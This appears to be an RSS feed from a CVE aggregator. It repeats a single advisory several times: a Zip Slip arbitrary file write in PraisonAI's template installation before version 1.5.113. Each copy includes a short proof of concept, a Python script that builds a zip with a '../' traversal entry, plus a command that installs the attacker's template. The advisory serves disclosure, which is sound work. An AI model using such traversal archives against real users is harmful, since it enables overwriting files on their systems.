https://cve.radiocsirt.org Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Thu, 08 Oct 2026 18:00:14 +0000 https://cve.radiocsirt.org/vuln/euvd-2026-290237 EUVD-2026-290237 https://cve.radiocsirt.org/vuln/euvd-2026-290237 https://cve.radiocsirt.org/vuln/fkie_cve-2026-39307 <p>PraisonAI is a multi-agent teams system. Prior to 1.5.113, The PraisonAI templates installation feature is vulnerable to a &#34;Zip Slip&#34; Arbitrary File Write attack. When downloading and extracting template archives from external sources (e.g., GitHub), the application uses Python&#39;s zipfile.extractall() without verifying if the files within the archive resolve outside of the intended extraction directory. This vulnerability is fixed in 1.5.113.</p> <p>PraisonAI is a multi-agent teams system. Prior to 1.5.113, The PraisonAI templates installation feature is vulnerable to a &#34;Zip Slip&#34; Arbitrary File Write attack. When downloading and extracting template archives from external sources (e.g., GitHub), the application uses Python&#39;s zipfile.extractall() without verifying if the files within the archive resolve outside of the intended extraction directory. This vulnerability is fixed in 1.5.113.</p> https://cve.radiocsirt.org/vuln/fkie_cve-2026-39307 https://cve.radiocsirt.org/vuln/ghsa-4ph2-f6pf-79wv <p><strong>Affected:</strong> PyPI: PraisonAI</p> <p>The PraisonAI templates installation feature is vulnerable to a &#34;Zip Slip&#34; Arbitrary File Write attack. When downloading and extracting template archives from external sources (e.g., GitHub), the application uses Python&#39;s `zipfile.extractall()` without verifying if the files within the archive resolve outside of the intended extraction directory.</p> <p>### Details Location: `src/praisonai/praisonai/cli/features/templates.py` (Line 852)</p> <p>Vulnerable Code snippet: ```python zip_ref.extractall(tmpdir) ```</p> <p>During installation, the CLI downloads a ZIP archive and extracts it directly into a temporary directory using `zip_ref.extractall(tmpdir)`. A specially crafted ZIP archive can contain file entries with relative paths (such as `../../../../tmp/evil.sh`). If extracting this archive in older Python versions or environments where extraction rules aren&#39;t strict, `extractall` will write these files outside the target directory, allowing an attacker to overwrite arbitrary files on the victim&#39;s filesystem.</p> <p>### PoC 1. Generate a malicious zip payload: ```python import zipfile</p> <p>with zipfile.ZipFile(&#39;malicious_template.zip&#39;, &#39;w&#39;) as z: # Adding a file that traverses directories z.writestr(&#39;../../../../../../../tmp/zip_slip_pwned.txt&#39;, &#39;pwned by zip slip&#39;) ``` 2. Trick a user into installing the malicious template: ```bash praisonai templates install github:attacker/malicious_template ``` 3. Observe the `zip_slip_pwned.txt` file created in `/tmp/` on the victim&#39;s machine.</p> <p>### Impac…</p> <p><strong>Affected:</strong> PyPI: PraisonAI</p> <p>The PraisonAI templates installation feature is vulnerable to a &#34;Zip Slip&#34; Arbitrary File Write attack. When downloading and extracting template archives from external sources (e.g., GitHub), the application uses Python&#39;s `zipfile.extractall()` without verifying if the files within the archive resolve outside of the intended extraction directory.</p> <p>### Details Location: `src/praisonai/praisonai/cli/features/templates.py` (Line 852)</p> <p>Vulnerable Code snippet: ```python zip_ref.extractall(tmpdir) ```</p> <p>During installation, the CLI downloads a ZIP archive and extracts it directly into a temporary directory using `zip_ref.extractall(tmpdir)`. A specially crafted ZIP archive can contain file entries with relative paths (such as `../../../../tmp/evil.sh`). If extracting this archive in older Python versions or environments where extraction rules aren&#39;t strict, `extractall` will write these files outside the target directory, allowing an attacker to overwrite arbitrary files on the victim&#39;s filesystem.</p> <p>### PoC 1. Generate a malicious zip payload: ```python import zipfile</p> <p>with zipfile.ZipFile(&#39;malicious_template.zip&#39;, &#39;w&#39;) as z: # Adding a file that traverses directories z.writestr(&#39;../../../../../../../tmp/zip_slip_pwned.txt&#39;, &#39;pwned by zip slip&#39;) ``` 2. Trick a user into installing the malicious template: ```bash praisonai templates install github:attacker/malicious_template ``` 3. Observe the `zip_slip_pwned.txt` file created in `/tmp/` on the victim&#39;s machine.</p> <p>### Impac…</p> https://cve.radiocsirt.org/vuln/ghsa-4ph2-f6pf-79wv https://cve.radiocsirt.org/vuln/pysec-2026-2899 <p><strong>Affected:</strong> PyPI: praisonai</p> <p>The PraisonAI templates installation feature is vulnerable to a &#34;Zip Slip&#34; Arbitrary File Write attack. When downloading and extracting template archives from external sources (e.g., GitHub), the application uses Python&#39;s `zipfile.extractall()` without verifying if the files within the archive resolve outside of the intended extraction directory.</p> <p>### Details Location: `src/praisonai/praisonai/cli/features/templates.py` (Line 852)</p> <p>Vulnerable Code snippet: ```python zip_ref.extractall(tmpdir) ```</p> <p>During installation, the CLI downloads a ZIP archive and extracts it directly into a temporary directory using `zip_ref.extractall(tmpdir)`. A specially crafted ZIP archive can contain file entries with relative paths (such as `../../../../tmp/evil.sh`). If extracting this archive in older Python versions or environments where extraction rules aren&#39;t strict, `extractall` will write these files outside the target directory, allowing an attacker to overwrite arbitrary files on the victim&#39;s filesystem.</p> <p>### PoC 1. Generate a malicious zip payload: ```python import zipfile</p> <p>with zipfile.ZipFile(&#39;malicious_template.zip&#39;, &#39;w&#39;) as z: # Adding a file that traverses directories z.writestr(&#39;../../../../../../../tmp/zip_slip_pwned.txt&#39;, &#39;pwned by zip slip&#39;) ``` 2. Trick a user into installing the malicious template: ```bash praisonai templates install github:attacker/malicious_template ``` 3. Observe the `zip_slip_pwned.txt` file created in `/tmp/` on the victim&#39;s machine.</p> <p>### Impac…</p> <p><strong>Affected:</strong> PyPI: praisonai</p> <p>The PraisonAI templates installation feature is vulnerable to a &#34;Zip Slip&#34; Arbitrary File Write attack. When downloading and extracting template archives from external sources (e.g., GitHub), the application uses Python&#39;s `zipfile.extractall()` without verifying if the files within the archive resolve outside of the intended extraction directory.</p> <p>### Details Location: `src/praisonai/praisonai/cli/features/templates.py` (Line 852)</p> <p>Vulnerable Code snippet: ```python zip_ref.extractall(tmpdir) ```</p> <p>During installation, the CLI downloads a ZIP archive and extracts it directly into a temporary directory using `zip_ref.extractall(tmpdir)`. A specially crafted ZIP archive can contain file entries with relative paths (such as `../../../../tmp/evil.sh`). If extracting this archive in older Python versions or environments where extraction rules aren&#39;t strict, `extractall` will write these files outside the target directory, allowing an attacker to overwrite arbitrary files on the victim&#39;s filesystem.</p> <p>### PoC 1. Generate a malicious zip payload: ```python import zipfile</p> <p>with zipfile.ZipFile(&#39;malicious_template.zip&#39;, &#39;w&#39;) as z: # Adding a file that traverses directories z.writestr(&#39;../../../../../../../tmp/zip_slip_pwned.txt&#39;, &#39;pwned by zip slip&#39;) ``` 2. Trick a user into installing the malicious template: ```bash praisonai templates install github:attacker/malicious_template ``` 3. Observe the `zip_slip_pwned.txt` file created in `/tmp/` on the victim&#39;s machine.</p> <p>### Impac…</p> https://cve.radiocsirt.org/vuln/pysec-2026-2899